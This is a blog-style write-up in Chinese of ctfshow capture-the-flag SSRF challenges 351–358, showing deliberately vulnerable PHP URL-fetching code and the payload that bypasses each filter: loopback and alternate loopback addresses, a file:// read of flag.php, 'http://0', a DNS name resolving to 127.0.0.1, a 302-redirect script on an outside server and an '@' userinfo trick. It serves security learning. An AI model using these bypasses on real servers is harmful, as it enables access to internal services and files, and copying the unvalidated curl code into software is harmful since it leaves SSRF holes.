ctfshow ssrf web351-360

ctfshow—web入门351-360

web 351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

flag.php限制了本地访问,直接在url上面不行,我们利用curl_exec这个,

从本地访问即可拿到flag

url=http://127.0.0.1/flag

利用file伪协议也可以

url=file:///var/www/html/flag.php

web 352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    if(!preg_match('/localhost|127.0.0/')){
        $ch=curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo ($result);
    }
    else{
        die('hacker');
    }
}
else{
    die('hacker');
}
?>

preg_match都没有写参数,没有限制,只是限制了只能用http协议 其他和上一题一样的写法

web 353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
        $ch=curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo ($result);
    }
    else{
        die('hacker');
    }
}
else{
    die('hacker');
}
?>

这个题目限制了一些东西,无伤大雁

本地换回地址,不只是127.0.0.1代表本地

这些都代表本地,用就是了

127.0.0.1---127.255.255.254

payload

url=http://127.244.1.1/flag.php

web 354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    if(!preg_match('/localhost|1|0|。/i', $url)){
        $ch=curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo ($result);
    }
    else{
        die('hacker');
    }
}
else{
    die('hacker');
}
?>

这个题目限制了1,0,用不了前面,的方法了,需要去域名解析,即在你自己的域名下,添加一个127.0.0.1的解析,但是呢,我还没买域名,直接用别人的了

url=http://sudo.cc/flag.php 

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    $host=$x['host'];
    if((strlen($host)<=5)){
        $ch=curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo ($result);
    }
    else{
        die('hacker');
    }
}
else{
    die('hacker');
}
?>

限制了域名长度小于5,没有其他限制,我们直接使用0即可绕过因为0在linux系统会被解析成本地网段

image-20250810130828988

url=http://0/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    $host=$x['host'];
    if((strlen($host)<=3)){
        $ch=curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo ($result);
    }
    else{
        die('hacker');
    }
}
else{
    die('hacker');
}
?> 

限制3,依旧一样的

url=http://0/flag.php

web 357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    $ip = gethostbyname($x['host']);
    echo '</br>'.$ip.'</br>';
    if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        die('ip!');
    }


    echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

这里有段waf,我们不知道,问一下ai

1. filter_var($ip, FILTER_VALIDATE_IP, ...)

  • FILTER_VALIDATE_IP 会验证 $ip 是否是一个合法的 IPv4 或 IPv6 地址。
  • 如果 $ip 不合法,则返回 false
  • 意味着任何不是标准 IP 格式的值(比如 127.0.0.1:80example.com)会直接被判定为非法。

2. FILTER_FLAG_NO_PRIV_RANGE

  • 禁止私有 IP 地址段
  • 私有 IPv4 范围:
    • 10.0.0.0 - 10.255.255.255
    • 172.16.0.0 - 172.31.255.255
    • 192.168.0.0 - 192.168.255.255
  • 私有 IPv6 范围:
    • fc00::/7

3. FILTER_FLAG_NO_RES_RANGE

  • 禁止保留地址范围(特殊用途 IP),包括:
    • 0.0.0.0
    • 127.0.0.0/8(回环地址)
    • 169.254.0.0/16(链路本地)
    • ::1(IPv6 回环)
    • 以及其他 RFC 保留段

4. 综合逻辑

执行这段代码时:

  1. 先验证 $ip 是不是符合 IP 格式(A.B.C.D 或 IPv6 标准表示)。
  2. 如果是 IP,就进一步检查是否属于私有 IP 或保留 IP 范围。
  3. 只允许公网 IP(Public IP)通过。

意思就是需要公网IP,我们可以在我们自己的公网服务器上面,搞一个302跳转的文件,这样子,当使用这个容器访问的时候,就会自动302跳转到127.0.0.1里面,

payload

<?php
header("Location:http://127.0.0.1/flag.php");
?>
url=http://你的公网ip/ssrf.php

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

这个正则匹配的是,http://ctf.必须是开头,然后必须使用show结尾

我们可以采用采http基本身份认证的方式绕过,即@

构造payload

url=http://ctf.@127.0.0.1/flag.php?a=show
posted @ 2025-08-12 19:36  txfmk  阅读(10)  评论(0)    收藏  举报